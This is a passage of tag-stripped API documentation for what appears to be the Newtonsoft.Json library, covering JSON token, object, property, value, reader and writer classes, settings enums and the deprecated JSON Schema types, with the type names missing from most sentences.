The token to monitor for cancellation requests. - A collection of which will be used when writing the token. - A that represents the asynchronous write operation. - - - - Asynchronously loads a from a . - - A that will be read for the content of the . - The token to monitor for cancellation requests. The default value is . - - A that represents the asynchronous load. The - property returns a that contains the JSON that was read from the specified . - - - - Asynchronously loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - The token to monitor for cancellation requests. The default value is . - - A that represents the asynchronous load. The - property returns a that contains the JSON that was read from the specified . - - - - Gets the container's children tokens. - - The container's children tokens. - - - - Occurs when a property value changes. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Initializes a new instance of the class with the specified content. - - The contents of the object. - - - - Initializes a new instance of the class with the specified content. - - The contents of the object. - - - - Gets the node type for this . - - The type. - - - - Gets an of of this object's properties. - - An of of this object's properties. - - - - Gets a with the specified name. - - The property name. - A with the specified name or null. - - - - Gets the with the specified name. - The exact name will be searched for first and if no matching property is found then - the will be used to match a property. - - The property name. - One of the enumeration values that specifies how the strings will be compared. - A matched with the specified name or null. - - - - Gets a of of this object's property values. - - A of of this object's property values. - - - - Gets the with the specified key. - - The with the specified key. - - - - Gets or sets the with the specified property name. - - - - - - Loads a from a . - - A that will be read for the content of the . - A that contains the JSON that was read from the specified . - - is not valid JSON. - - - - - Loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - A that contains the JSON that was read from the specified . - - is not valid JSON. - - - - - Load a from a string that contains JSON. - - A that contains JSON. - A populated from the string that contains JSON. - - is not valid JSON. - - - - - - - - Load a from a string that contains JSON. - - A that contains JSON. - The used to load the JSON. - If this is null, default load settings will be used. - A populated from the string that contains JSON. - - is not valid JSON. - - - - - - - - Creates a from an object. - - The object that will be used to create . - A with the values of the specified object. - - - - Creates a from an object. - - The object that will be used to create . - The that will be used to read the object. - A with the values of the specified object. - - - - Writes this token to a . - - A into which this method will write. - A collection of which will be used when writing the token. - - - - Gets the with the specified property name. - - Name of the property. - The with the specified property name. - - - - Gets the with the specified property name. - The exact property name will be searched for first and if no matching property is found then - the will be used to match a property. - - Name of the property. - One of the enumeration values that specifies how the strings will be compared. - The with the specified property name. - - - - Tries to get the with the specified property name. - The exact property name will be searched for first and if no matching property is found then - the will be used to match a property. - - Name of the property. - The value. - One of the enumeration values that specifies how the strings will be compared. - true if a value was successfully retrieved; otherwise, false. - - - - Adds the specified property name. - - Name of the property. - The value. - - - - Determines whether the JSON object has the specified property name. - - Name of the property. - true if the JSON object has the specified property name; otherwise, false. - - - - Removes the property with the specified name. - - Name of the property. - true if item was successfully removed; otherwise, false. - - - - Tries to get the with the specified property name. - - Name of the property. - The value. - true if a value was successfully retrieved; otherwise, false. - - - - Returns an enumerator that can be used to iterate through the collection. - - - A that can be used to iterate through the collection. - - - - - Raises the event with the provided arguments. - - Name of the property. - - - - Returns the responsible for binding operations performed on this object. - - The expression tree representation of the runtime value. - - The to bind this object. - - - - - Represents a JSON property. - - - - - Writes this token to a asynchronously. - - A into which this method will write. - The token to monitor for cancellation requests. - A collection of which will be used when writing the token. - A that represents the asynchronous write operation. - - - - Asynchronously loads a from a . - - A that will be read for the content of the . - The token to monitor for cancellation requests. The default value is . - A representing the asynchronous creation. The - property returns a that contains the JSON that was read from the specified . - - - - Asynchronously loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - The token to monitor for cancellation requests. The default value is . - A representing the asynchronous creation. The - property returns a that contains the JSON that was read from the specified . - - - - Gets the container's children tokens. - - The container's children tokens. - - - - Gets the property name. - - The property name. - - - - Gets or sets the property value. - - The property value. - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Gets the node type for this . - - The type. - - - - Initializes a new instance of the class. - - The property name. - The property content. - - - - Initializes a new instance of the class. - - The property name. - The property content. - - - - Writes this token to a . - - A into which this method will write. - A collection of which will be used when writing the token. - - - - Loads a from a . - - A that will be read for the content of the . - A that contains the JSON that was read from the specified . - - - - Loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - A that contains the JSON that was read from the specified . - - - - Represents a raw JSON string. - - - - - Asynchronously creates an instance of with the content of the reader's current token. - - The reader. - The token to monitor for cancellation requests. The default value is . - A representing the asynchronous creation. The - property returns an instance of with the content of the reader's current token. - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Initializes a new instance of the class. - - The raw json. - - - - Creates an instance of with the content of the reader's current token. - - The reader. - An instance of with the content of the reader's current token. - - - - Specifies the settings used when cloning JSON. - - - - - Initializes a new instance of the class. - - - - - Gets or sets a flag that indicates whether to copy annotations when cloning a . - The default value is true. - - - A flag that indicates whether to copy annotations when cloning a . - - - - - Specifies the settings used when loading JSON. - - - - - Initializes a new instance of the class. - - - - - Gets or sets how JSON comments are handled when loading JSON. - The default value is . - - The JSON comment handling. - - - - Gets or sets how JSON line info is handled when loading JSON. - The default value is . - - The JSON line info handling. - - - - Gets or sets how duplicate property names in JSON objects are handled when loading JSON. - The default value is . - - The JSON duplicate property name handling. - - - - Specifies the settings used when merging JSON. - - - - - Initializes a new instance of the class. - - - - - Gets or sets the method used when merging JSON arrays. - - The method used when merging JSON arrays. - - - - Gets or sets how null value properties are merged. - - How null value properties are merged. - - - - Gets or sets the comparison used to match property names while merging. - The exact property name will be searched for first and if no matching property is found then - the will be used to match a property. - - The comparison used to match property names while merging. - - - - Specifies the settings used when selecting JSON. - - - - - Gets or sets a timeout that will be used when executing regular expressions. - - The timeout that will be used when executing regular expressions. - - - - Gets or sets a flag that indicates whether an error should be thrown if - no tokens are found when evaluating part of the expression. - - - A flag that indicates whether an error should be thrown if - no tokens are found when evaluating part of the expression. - - - - - Represents an abstract JSON token. - - - - - Writes this token to a asynchronously. - - A into which this method will write. - The token to monitor for cancellation requests. - A collection of which will be used when writing the token. - A that represents the asynchronous write operation. - - - - Writes this token to a asynchronously. - - A into which this method will write. - A collection of which will be used when writing the token. - A that represents the asynchronous write operation. - - - - Asynchronously creates a from a . - - An positioned at the token to read into this . - The token to monitor for cancellation requests. The default value is . - - A that represents the asynchronous creation. The - property returns a that contains - the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Asynchronously creates a from a . - - An positioned at the token to read into this . - The used to load the JSON. - If this is null, default load settings will be used. - The token to monitor for cancellation requests. The default value is . - - A that represents the asynchronous creation. The - property returns a that contains - the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Asynchronously creates a from a . - - A positioned at the token to read into this . - The token to monitor for cancellation requests. The default value is . - - A that represents the asynchronous creation. The - property returns a that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Asynchronously creates a from a . - - A positioned at the token to read into this . - The used to load the JSON. - If this is null, default load settings will be used. - The token to monitor for cancellation requests. The default value is . - - A that represents the asynchronous creation. The - property returns a that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Gets a comparer that can compare two tokens for value equality. - - A that can compare two nodes for value equality. - - - - Gets or sets the parent. - - The parent. - - - - Gets the root of this . - - The root of this . - - - - Gets the node type for this . - - The type. - - - - Gets a value indicating whether this token has child tokens. - - - true if this token has child values; otherwise, false. - - - - - Compares the values of two tokens, including the values of all descendant tokens. - - The first to compare. - The second to compare. - true if the tokens are equal; otherwise false. - - - - Gets the next sibling token of this node. - - The that contains the next sibling token. - - - - Gets the previous sibling token of this node. - - The that contains the previous sibling token. - - - - Gets the path of the JSON token. - - - - - Adds the specified content immediately after this token. - - A content object that contains simple content or a collection of content objects to be added after this token. - - - - Adds the specified content immediately before this token. - - A content object that contains simple content or a collection of content objects to be added before this token. - - - - Returns a collection of the ancestor tokens of this token. - - A collection of the ancestor tokens of this token. - - - - Returns a collection of tokens that contain this token, and the ancestors of this token. - - A collection of tokens that contain this token, and the ancestors of this token. - - - - Returns a collection of the sibling tokens after this token, in document order. - - A collection of the sibling tokens after this tokens, in document order. - - - - Returns a collection of the sibling tokens before this token, in document order. - - A collection of the sibling tokens before this token, in document order. - - - - Gets the with the specified key. - - The with the specified key. - - - - Gets the with the specified key converted to the specified type. - - The type to convert the token to. - The token key. - The converted token value. - - - - Get the first child token of this token. - - A containing the first child token of the . - - - - Get the last child token of this token. - - A containing the last child token of the . - - - - Returns a collection of the child tokens of this token, in document order. - - An of containing the child tokens of this , in document order. - - - - Returns a collection of the child tokens of this token, in document order, filtered by the specified type. - - The type to filter the child tokens on. - A containing the child tokens of this , in document order. - - - - Returns a collection of the child values of this token, in document order. - - The type to convert the values to. - A containing the child values of this , in document order. - - - - Removes this token from its parent. - - - - - Replaces this token with the specified token. - - The value. - - - - Writes this token to a . - - A into which this method will write. - A collection of which will be used when writing the token. - - - - Returns the indented JSON for this token. - - - ToString() returns a non-JSON string value for tokens with a type of . - If you want the JSON for all token types then you should use . - - - The indented JSON for this token. - - - - - Returns the JSON for this token using the given formatting and converters. - - Indicates how the output should be formatted. - A collection of s which will be used when writing the token. - The JSON for this token using the given formatting and converters. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to []. - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from [] to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Creates a for this token. - - A that can be used to read this token and its descendants. - - - - Creates a from an object. - - The object that will be used to create . - A with the value of the specified object. - - - - Creates a from an object using the specified . - - The object that will be used to create . - The that will be used when reading the object. - A with the value of the specified object. - - - - Creates an instance of the specified .NET type from the . - - The object type that the token will be deserialized to. - The new object created from the JSON value. - - - - Creates an instance of the specified .NET type from the . - - The object type that the token will be deserialized to. - The new object created from the JSON value. - - - - Creates an instance of the specified .NET type from the using the specified . - - The object type that the token will be deserialized to. - The that will be used when creating the object. - The new object created from the JSON value. - - - - Creates an instance of the specified .NET type from the using the specified . - - The object type that the token will be deserialized to. - The that will be used when creating the object. - The new object created from the JSON value. - - - - Creates a from a . - - A positioned at the token to read into this . - - A that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Creates a from a . - - An positioned at the token to read into this . - The used to load the JSON. - If this is null, default load settings will be used. - - A that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Load a from a string that contains JSON. - - A that contains JSON. - A populated from the string that contains JSON. - - - - Load a from a string that contains JSON. - - A that contains JSON. - The used to load the JSON. - If this is null, default load settings will be used. - A populated from the string that contains JSON. - - - - Creates a from a . - - A positioned at the token to read into this . - The used to load the JSON. - If this is null, default load settings will be used. - - A that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Creates a from a . - - A positioned at the token to read into this . - - A that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Selects a using a JSONPath expression. Selects the token that matches the object path. - - - A that contains a JSONPath expression. - - A , or null. - - - - Selects a using a JSONPath expression. Selects the token that matches the object path. - - - A that contains a JSONPath expression. - - A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. - A . - - - - Selects a using a JSONPath expression. Selects the token that matches the object path. - - - A that contains a JSONPath expression. - - The used to select tokens. - A . - - - - Selects a collection of elements using a JSONPath expression. - - - A that contains a JSONPath expression. - - An of that contains the selected elements. - - - - Selects a collection of elements using a JSONPath expression. - - - A that contains a JSONPath expression. - - A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. - An of that contains the selected elements. - - - - Selects a collection of elements using a JSONPath expression. - - - A that contains a JSONPath expression. - - The used to select tokens. - An of that contains the selected elements. - - - - Returns the responsible for binding operations performed on this object. - - The expression tree representation of the runtime value. - - The to bind this object. - - - - - Returns the responsible for binding operations performed on this object. - - The expression tree representation of the runtime value. - - The to bind this object. - - - - - Creates a new instance of the . All child tokens are recursively cloned. - - A new instance of the . - - - - Creates a new instance of the . All child tokens are recursively cloned. - - A object to configure cloning settings. - A new instance of the . - - - - Adds an object to the annotation list of this . - - The annotation to add. - - - - Get the first annotation object of the specified type from this . - - The type of the annotation to retrieve. - The first annotation object that matches the specified type, or null if no annotation is of the specified type. - - - - Gets the first annotation object of the specified type from this . - - The of the annotation to retrieve. - The first annotation object that matches the specified type, or null if no annotation is of the specified type. - - - - Gets a collection of annotations of the specified type for this . - - The type of the annotations to retrieve. - An that contains the annotations for this . - - - - Gets a collection of annotations of the specified type for this . - - The of the annotations to retrieve. - An of that contains the annotations that match the specified type for this . - - - - Removes the annotations of the specified type from this . - - The type of annotations to remove. - - - - Removes the annotations of the specified type from this . - - The of annotations to remove. - - - - Compares tokens to determine whether they are equal. - - - - - Determines whether the specified objects are equal. - - The first object of type to compare. - The second object of type to compare. - - true if the specified objects are equal; otherwise, false. - - - - - Returns a hash code for the specified object. - - The for which a hash code is to be returned. - A hash code for the specified object. - The type of is a reference type and is null. - - - - Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. - - - - - Gets the at the reader's current position. - - - - - Initializes a new instance of the class. - - The token to read from. - - - - Initializes a new instance of the class. - - The token to read from. - The initial path of the token. It is prepended to the returned . - - - - Reads the next JSON token from the underlying . - - - true if the next token was read successfully; false if there are no more tokens to read. - - - - - Gets the path of the current JSON token. - - - - - Specifies the type of token. - - - - - No token type has been set. - - - - - A JSON object. - - - - - A JSON array. - - - - - A JSON constructor. - - - - - A JSON object property. - - - - - A comment. - - - - - An integer value. - - - - - A float value. - - - - - A string value. - - - - - A boolean value. - - - - - A null value. - - - - - An undefined value. - - - - - A date value. - - - - - A raw JSON value. - - - - - A collection of bytes value. - - - - - A Guid value. - - - - - A Uri value. - - - - - A TimeSpan value. - - - - - Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. - - - - - Gets the at the writer's current position. - - - - - Gets the token being written. - - The token being written. - - - - Initializes a new instance of the class writing to the given . - - The container being written to. - - - - Initializes a new instance of the class. - - - - - Flushes whatever is in the buffer to the underlying . - - - - - Closes this writer. - If is set to true, the JSON is auto-completed. - - - Setting to true has no additional effect, since the underlying is a type that cannot be closed. - - - - - Writes the beginning of a JSON object. - - - - - Writes the beginning of a JSON array. - - - - - Writes the start of a constructor with the given name. - - The name of the constructor. - - - - Writes the end. - - The token. - - - - Writes the property name of a name/value pair on a JSON object. - - The name of the property. - - - - Writes a value. - An error will be raised if the value cannot be written as a single JSON token. - - The value to write. - - - - Writes a null value. - - - - - Writes an undefined value. - - - - - Writes raw JSON. - - The raw JSON to write. - - - - Writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a [] value. - - The [] value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Represents a value in JSON (string, integer, date, etc). - - - - - Writes this token to a asynchronously. - - A into which this method will write. - The token to monitor for cancellation requests. - A collection of which will be used when writing the token. - A that represents the asynchronous write operation. - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Gets a value indicating whether this token has child tokens. - - - true if this token has child values; otherwise, false. - - - - - Creates a comment with the given value. - - The value. - A comment with the given value. - - - - Creates a string with the given value. - - The value. - A string with the given value. - - - - Creates a null value. - - A null value. - - - - Creates a undefined value. - - A undefined value. - - - - Gets the node type for this . - - The type. - - - - Gets or sets the underlying token value. - - The underlying token value. - - - - Writes this token to a . - - A into which this method will write. - A collection of s which will be used when writing the token. - - - - Indicates whether the current object is equal to another object of the same type. - - - true if the current object is equal to the parameter; otherwise, false. - - An object to compare with this object. - - - - Determines whether the specified is equal to the current . - - The to compare with the current . - - true if the specified is equal to the current ; otherwise, false. - - - - - Serves as a hash function for a particular type. - - - A hash code for the current . - - - - - Returns a that represents this instance. - - - ToString() returns a non-JSON string value for tokens with a type of . - If you want the JSON for all token types then you should use . - - - A that represents this instance. - - - - - Returns a that represents this instance. - - The format. - - A that represents this instance. - - - - - Returns a that represents this instance. - - The format provider. - - A that represents this instance. - - - - - Returns a that represents this instance. - - The format. - The format provider. - - A that represents this instance. - - - - - Returns the responsible for binding operations performed on this object. - - The expression tree representation of the runtime value. - - The to bind this object. - - - - - Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object. - - An object to compare with this instance. - - A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has these meanings: - Value - Meaning - Less than zero - This instance is less than . - Zero - This instance is equal to . - Greater than zero - This instance is greater than . - - - is not of the same type as this instance. - - - - - Specifies how line information is handled when loading JSON. - - - - - Ignore line information. - - - - - Load line information. - - - - - Specifies how JSON arrays are merged together. - - - - Concatenate arrays. - - - Union arrays, skipping items that already exist. - - - Replace all array items. - - - Merge array items together, matched by index. - - - - Specifies how null value properties are merged. - - - - - The content's null value properties will be ignored during merging. - - - - - The content's null value properties will be merged. - - - - - Specifies the member serialization options for the . - - - - - All public members are serialized by default. Members can be excluded using or . - This is the default member serialization mode. - - - - - Only members marked with or are serialized. - This member serialization mode can also be set by marking the class with . - - - - - All public and private fields are serialized. Members can be excluded using or . - This member serialization mode can also be set by marking the class with - and setting IgnoreSerializableAttribute on to false. - - - - - Specifies metadata property handling options for the . - - - - - Read metadata properties located at the start of a JSON object. - - - - - Read metadata properties located anywhere in a JSON object. Note that this setting will impact performance. - - - - - Do not try to read metadata properties. - - - - - Specifies missing member handling options for the . - - - - - Ignore a missing member and do not attempt to deserialize it. - - - - - Throw a when a missing member is encountered during deserialization. - - - - - Specifies null value handling options for the . - - - - - - - - - Include null values when serializing and deserializing objects. - - - - - Ignore null values when serializing and deserializing objects. - - - - - Specifies how object creation is handled by the . - - - - - Reuse existing objects, create new objects when needed. - - - - - Only reuse existing objects. - - - - - Always create new objects. - - - - - Specifies reference handling options for the . - Note that references cannot be preserved when a value is set via a non-default constructor such as types that implement . - - - - - - - - Do not preserve references when serializing types. - - - - - Preserve references when serializing into a JSON object structure. - - - - - Preserve references when serializing into a JSON array structure. - - - - - Preserve references when serializing. - - - - - Specifies reference loop handling options for the . - - - - - Throw a when a loop is encountered. - - - - - Ignore loop references and do not serialize. - - - - - Serialize loop references. - - - - - Indicating whether a property is required. - - - - - The property is not required. The default state. - - - - - The property must be defined in JSON but can be a null value. - - - - - The property must be defined in JSON and cannot be a null value. - - - - - The property is not required but it cannot be a null value. - - - - - - Contains the JSON schema extension methods. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - - Determines whether the is valid. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - The source to test. - The schema to test with. - - true if the specified is valid; otherwise, false. - - - - - - Determines whether the is valid. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - The source to test. - The schema to test with. - When this method returns, contains any error messages generated while validating. - - true if the specified is valid; otherwise, false. - - - - - - Validates the specified . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - The source to test. - The schema to test with. - - - - - Validates the specified . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - The source to test. - The schema to test with. - The validation event handler. - - - - - An in-memory representation of a JSON Schema. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Gets or sets the id. - - - - - Gets or sets the title. - - - - - Gets or sets whether the object is required. - - - - - Gets or sets whether the object is read-only. - - - - - Gets or sets whether the object is visible to users. - - - - - Gets or sets whether the object is transient. - - - - - Gets or sets the description of the object. - - - - - Gets or sets the types of values allowed by the object. - - The type. - - - - Gets or sets the pattern. - - The pattern. - - - - Gets or sets the minimum length. - - The minimum length. - - - - Gets or sets the maximum length. - - The maximum length. - - - - Gets or sets a number that the value should be divisible by. - - A number that the value should be divisible by. - - - - Gets or sets the minimum. - - The minimum. - - - - Gets or sets the maximum. - - The maximum. - - - - Gets or sets a flag indicating whether the value can not equal the number defined by the minimum attribute (). - - A flag indicating whether the value can not equal the number defined by the minimum attribute (). - - - - Gets or sets a flag indicating whether the value can not equal the number defined by the maximum attribute (). - - A flag indicating whether the value can not equal the number defined by the maximum attribute (). - - - - Gets or sets the minimum number of items. - - The minimum number of items. - - - - Gets or sets the maximum number of items. - - The maximum number of items. - - - - Gets or sets the of items. - - The of items. - - - - Gets or sets a value indicating whether items in an array are validated using the instance at their array position from . - - - true if items are validated using their array position; otherwise, false. - - - - - Gets or sets the of additional items. - - The of additional items. - - - - Gets or sets a value indicating whether additional items are allowed. - - - true if additional items are allowed; otherwise, false. - - - - - Gets or sets whether the array items must be unique. - - - - - Gets or sets the of properties. - - The of properties. - - - - Gets or sets the of additional properties. - - The of additional properties. - - - - Gets or sets the pattern properties. - - The pattern properties. - - - - Gets or sets a value indicating whether additional properties are allowed. - - - true if additional properties are allowed; otherwise, false. - - - - - Gets or sets the required property if this property is present. - - The required property if this property is present. - - - - Gets or sets the a collection of valid enum values allowed. - - A collection of valid enum values allowed. - - - - Gets or sets disallowed types. - - The disallowed types. - - - - Gets or sets the default value. - - The default value. - - - - Gets or sets the collection of that this schema extends. - - The collection of that this schema extends. - - - - Gets or sets the format. - - The format. - - - - Initializes a new instance of the class. - - - - - Reads a from the specified . - - The containing the JSON Schema to read. - The object representing the JSON Schema. - - - - Reads a from the specified . - - The containing the JSON Schema to read. - The to use when resolving schema references. - The object representing the JSON Schema. - - - - Load a from a string that contains JSON Schema. - - A that contains JSON Schema. - A populated from the string that contains JSON Schema. - - - - Load a from a string that contains JSON Schema using the specified . - - A that contains JSON Schema. - The resolver. - A populated from the string that contains JSON Schema. - - - - Writes this schema to a . - - A into which this method will write. - - - - Writes this schema to a using the specified . - - A into which this method will write. - The resolver used. - - - - Returns a that represents the current . - - - A that represents the current . - - - - - - Returns detailed information about the schema exception. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Gets the line number indicating where the error occurred. - - The line number indicating where the error occurred. - - - - Gets the line position indicating where the error occurred. - - The line position indicating where the error occurred. - - - - Gets the path to the JSON where the error occurred. - - The path to the JSON where the error occurred. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with a specified error message. - - The error message that explains the reason for the exception. - - - - Initializes a new instance of the class - with a specified error message and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - - Generates a from a specified . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Gets or sets how undefined schemas are handled by the serializer. - - - - - Gets or sets the contract resolver. - - The contract resolver. - - - - Generate a from the specified type. - - The type to generate a from. - A generated from the specified type. - - - - Generate a from the specified type. - - The type to generate a from. - The used to resolve schema references. - A generated from the specified type. - - - - Generate a from the specified type. - - The type to generate a from. - Specify whether the generated root will be nullable. - A generated from the specified type. - - - - Generate a from the specified type. - - The type to generate a from. - The used to resolve schema references. - Specify whether the generated root will be nullable. - A generated from the specified type. - - - - - Resolves from an id. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Gets or sets the loaded schemas. - - The loaded schemas. - - - - Initializes a new instance of the class. - - - - - Gets a for the specified reference. - - The id. - A for the specified reference. - - - - - The value types allowed by the . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - No type specified. - - - - - String type. - - - - - Float type. - - - - - Integer type. - - - - - Boolean type. - - - - - Object type. - - - - - Array type. - - - - - Null type. - - - - - Any type. - - - - - - Specifies undefined schema Id handling options for the . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Do not infer a schema Id. - - - - - Use the .NET type name as the schema Id. - - - - - Use the 